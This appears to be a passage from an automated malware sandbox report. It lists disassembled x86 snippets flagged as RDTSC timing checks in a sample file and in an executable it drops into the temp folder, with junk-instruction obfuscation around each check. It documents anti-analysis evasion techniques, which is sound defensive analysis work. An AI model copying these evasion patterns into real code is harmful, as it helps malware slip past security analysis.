Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0387 second address: 49A03D8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60A4BE8BE6h 0x00000008 adc si, 2808h 0x0000000d jmp 00007F60A4BE8BDBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test al, al 0x00000018 jmp 00007F60A4BE8BE6h 0x0000001d je 00007F60A4BE8DEAh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03D8 second address: 49A03DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03DE second address: 49A0418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c pushad 0x0000000d mov cx, B29Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F60A4BE8BE8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0418 second address: 49A041C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0450 second address: 49A0454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0454 second address: 49A0476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 mov di, ax 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F60A4E98F03h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04C1 second address: 49A04DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3061BB4Ah 0x00000008 jmp 00007F60A4BE8BDBh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test eax, eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04DF second address: 49A04E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04E5 second address: 49A04EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04EB second address: 49A04EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A04EF second address: 49A0516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F6116BA6B6Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F60A4BE8BE7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0516 second address: 49A053F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F60A4E98FA3h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A053F second address: 49A0543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0543 second address: 49A0549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0549 second address: 49A054E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A054E second address: 49A05D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F60A4E98EFEh 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [ebp-14h], edi 0x00000010 jmp 00007F60A4E98F01h 0x00000015 jne 00007F6116E56E19h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F60A4E98F03h 0x00000024 sbb si, F41Eh 0x00000029 jmp 00007F60A4E98F09h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F60A4E98F00h 0x00000035 adc esi, 101C7A18h 0x0000003b jmp 00007F60A4E98EFBh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A05D8 second address: 49A05DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A05DF second address: 49A05FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, dword ptr [ebp+08h] 0x0000000a jmp 00007F60A4E98EFCh 0x0000000f lea eax, dword ptr [ebp-2Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A05FE second address: 49A0602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0602 second address: 49A0606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0606 second address: 49A060C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A060C second address: 49A065B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, di 0x00000010 pushfd 0x00000011 jmp 00007F60A4E98F09h 0x00000016 sbb ah, 00000076h 0x00000019 jmp 00007F60A4E98F01h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A065B second address: 49A066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4BE8BDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A066B second address: 49A0690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60A4E98F08h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0690 second address: 49A0696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0696 second address: 49A069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A069C second address: 49A06A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A06A0 second address: 49A06AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A06AF second address: 49A06B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A06B5 second address: 49A06E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 32D93335h 0x00000008 mov edx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f mov ecx, 7A6881E9h 0x00000014 push ecx 0x00000015 movsx edi, ax 0x00000018 pop ecx 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F60A4E98F03h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990DBF second address: 4990DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990DC5 second address: 4990DF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F60A4E98F04h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990DF5 second address: 4990DFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 02BA8DC4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990DFF second address: 4990EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushad 0x0000000a mov esi, ebx 0x0000000c mov cx, di 0x0000000f popad 0x00000010 jmp 00007F60A4E98EFDh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F60A4E98EFCh 0x0000001f xor si, 69A8h 0x00000024 jmp 00007F60A4E98EFBh 0x00000029 popfd 0x0000002a pushad 0x0000002b mov ax, B5B5h 0x0000002f pushfd 0x00000030 jmp 00007F60A4E98F02h 0x00000035 xor ax, DC08h 0x0000003a jmp 00007F60A4E98EFBh 0x0000003f popfd 0x00000040 popad 0x00000041 popad 0x00000042 xchg eax, ecx 0x00000043 pushad 0x00000044 movzx ecx, di 0x00000047 pushfd 0x00000048 jmp 00007F60A4E98F01h 0x0000004d sub esi, 4DDCFF26h 0x00000053 jmp 00007F60A4E98F01h 0x00000058 popfd 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F60A4E98EFCh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990EA8 second address: 4990F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60A4BE8BE1h 0x00000009 sub ecx, 482C9F36h 0x0000000f jmp 00007F60A4BE8BE1h 0x00000014 popfd 0x00000015 mov bx, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d mov eax, 2B3B801Fh 0x00000022 pushfd 0x00000023 jmp 00007F60A4BE8BE4h 0x00000028 add ecx, 4F218588h 0x0000002e jmp 00007F60A4BE8BDBh 0x00000033 popfd 0x00000034 popad 0x00000035 mov dword ptr [ebp-04h], 55534552h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov dx, 71F6h 0x00000043 mov si, di 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B07 second address: 49A0B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B23 second address: 49A0B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B27 second address: 49A0B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B3A second address: 49A0B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B40 second address: 49A0B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f movsx edx, si 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B58 second address: 49A0B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov esi, 2B64A709h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B65 second address: 49A0B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B69 second address: 49A0BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F60A4BE8BE2h 0x0000000d mov ebp, esp 0x0000000f jmp 00007F60A4BE8BE0h 0x00000014 cmp dword ptr [769B459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F60A4BE8BDDh 0x00000024 sbb esi, 33475FF6h 0x0000002a jmp 00007F60A4BE8BE1h 0x0000002f popfd 0x00000030 call 00007F60A4BE8BE0h 0x00000035 pop ecx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BD7 second address: 49A0BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BDC second address: 49A0C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F60A4BE8BDCh 0x0000000a or ax, 3848h 0x0000000f jmp 00007F60A4BE8BDBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007F6116B969D4h 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F60A4BE8BE4h 0x00000025 jmp 00007F60A4BE8BE5h 0x0000002a popfd 0x0000002b push ecx 0x0000002c mov cx, dx 0x0000002f pop edx 0x00000030 popad 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0C40 second address: 49A0C5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0CD5 second address: 49A0D98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60A4BE8BE8h 0x00000009 jmp 00007F60A4BE8BE5h 0x0000000e popfd 0x0000000f mov cx, 03E7h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F60A4BE8BE3h 0x00000021 adc ecx, 1A98A02Eh 0x00000027 jmp 00007F60A4BE8BE9h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F60A4BE8BE0h 0x00000033 or ch, FFFFFFA8h 0x00000036 jmp 00007F60A4BE8BDBh 0x0000003b popfd 0x0000003c popad 0x0000003d mov eax, dword ptr [eax] 0x0000003f jmp 00007F60A4BE8BE9h 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b jmp 00007F60A4BE8BDAh 0x00000050 movzx ecx, dx 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0D98 second address: 49A0D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0D9E second address: 49A0DA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0DA2 second address: 49A0DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F60A4E98F00h 0x00000010 adc ah, FFFFFF98h 0x00000013 jmp 00007F60A4E98EFBh 0x00000018 popfd 0x00000019 push ecx 0x0000001a call 00007F60A4E98EFFh 0x0000001f pop eax 0x00000020 pop edx 0x00000021 popad 0x00000022 call 00007F6116E4DC89h 0x00000027 push 76952B70h 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov eax, dword ptr [esp+10h] 0x00000037 mov dword ptr [esp+10h], ebp 0x0000003b lea ebp, dword ptr [esp+10h] 0x0000003f sub esp, eax 0x00000041 push ebx 0x00000042 push esi 0x00000043 push edi 0x00000044 mov eax, dword ptr [769B4538h] 0x00000049 xor dword ptr [ebp-04h], eax 0x0000004c xor eax, ebp 0x0000004e push eax 0x0000004f mov dword ptr [ebp-18h], esp 0x00000052 push dword ptr [ebp-08h] 0x00000055 mov eax, dword ptr [ebp-04h] 0x00000058 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005f mov dword ptr [ebp-08h], eax 0x00000062 lea eax, dword ptr [ebp-10h] 0x00000065 mov dword ptr fs:[00000000h], eax 0x0000006b ret 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F60A4E98EFEh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0DF6 second address: 49A0E05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0EAB second address: 49A0EB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03EE second address: 49C03F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03F4 second address: 49C03F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03F8 second address: 49C03FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03FC second address: 49C043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F60A4E98EFAh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov edx, ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F60A4E98EFBh 0x0000001d jmp 00007F60A4E98F08h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C043D second address: 49C044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4BE8BDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C044F second address: 49C04C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F60A4E98F07h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 pushad 0x00000012 jmp 00007F60A4E98F04h 0x00000017 mov dx, ax 0x0000001a popad 0x0000001b test esi, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F60A4E98F09h 0x00000026 or ah, 00000076h 0x00000029 jmp 00007F60A4E98F01h 0x0000002e popfd 0x0000002f mov edi, eax 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04C2 second address: 49C0507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 56FEh 0x00000007 pushfd 0x00000008 jmp 00007F60A4BE8BDFh 0x0000000d adc al, FFFFFFAEh 0x00000010 jmp 00007F60A4BE8BE9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F6116B76A94h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ah, bh 0x00000024 mov ebx, esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0507 second address: 49C0527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0527 second address: 49C0560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6116B8EB32h 0x0000000f jmp 00007F60A4BE8BE0h 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F60A4BE8BDAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0560 second address: 49C0564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0564 second address: 49C056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C056A second address: 49C0596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60A4E98EFCh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F60A4E98F03h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0596 second address: 49C059C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C059C second address: 49C05A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05A2 second address: 49C05A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05A6 second address: 49C05E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push eax 0x0000000e pushfd 0x0000000f jmp 00007F60A4E98EFDh 0x00000014 or eax, 0E107AC6h 0x0000001a jmp 00007F60A4E98F01h 0x0000001f popfd 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0646 second address: 49C067D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F60A4BE8BDEh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F60A4BE8BDAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C067D second address: 49C0681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0681 second address: 49C0687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0687 second address: 49C068D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C068D second address: 49C0691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0691 second address: 49C0695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 6FBE0C second address: 6FBE1A instructions: 0x00000000 rdtsc 0x00000002 je 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	RDTSC instruction interceptor: First address: 6FBE1A second address: 6FBE1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
